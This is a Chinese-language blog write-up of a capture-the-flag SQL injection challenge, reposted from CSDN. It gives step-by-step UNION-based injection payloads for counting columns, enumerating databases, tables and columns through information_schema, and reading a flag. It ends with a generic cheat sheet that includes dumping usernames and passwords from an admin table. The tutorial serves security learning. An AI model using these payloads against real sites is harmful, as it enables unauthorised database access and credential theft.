web安全学习-------2.sql整数型注入

在这里插入图片描述
这是作者遇到的一个题目,当然这个题目也很直白,整数型注入。
我们一次填入1,2,3会发现只有1和2有回显,3并没有回显。说明可以查询到的数据有两个。在这里插入图片描述
在这里插入图片描述
接着我们测试一下数据有几列:

测试列数:
GET:id=1 order by 3#
POST:id=1’ order by 3#
在这里插入图片描述
我们可以看到3并没有回显,2的时候正常显示,所以数据一共两列。

接下来就是尝试联合查询了,记得把前面的查询数据置空,写成id=0即可,显示正常,说明确确实实存在这两列数据 。在这里插入图片描述
接下来就是一些套路操作了:

  1. 暴库名
  2. 爆表名
  3. 爆列名
  4. 获取数据

就酱都是大同小异,输入的sql语句也有格式可寻:

1.暴库名:
id=0 union select 1,database()#
这里select user(),version()还可有求出数据库的用户和数据库的版本,当然我们这里是不需要的。
在这里插入图片描述
sqli即是我们所求的数据库名。

2.爆表名
我们就要根据sqli去求出这个表名
id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述
flag即是我们所要求的表名,接下来我们就是要通过flag求出列名。

3.爆列名
id=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’
在这里插入图片描述
这里一定一定要注意在输入sql语句是是英文字符状态,我在这里因为是中文状态卡了好一会。

4.获取数据
我们已经将数据的列名flag得到,那么接下来就是通过表名和列名来求到flag。
id=0 union select 1,flag from flag
在这里插入图片描述
id和=是连在一起的,否则也是无法得到结果的。

最后关于手工注入的补充一点知识:

mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注入中可以用到的几个表。

SCHEMATA 存储数据库名的,
关键字段:SCHEMA_NAME,表示数据库名称
TABLES 存储表名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
COLUMNS 存储字段名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名

爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572
得到字段具体的值 select group_concat(username,0x3a,password) from adminuser

发布了32 篇原创文章 · 获赞 28 · 访问量 4020

猜你喜欢

转载自blog.csdn.net/wxnshuai/article/details/104780053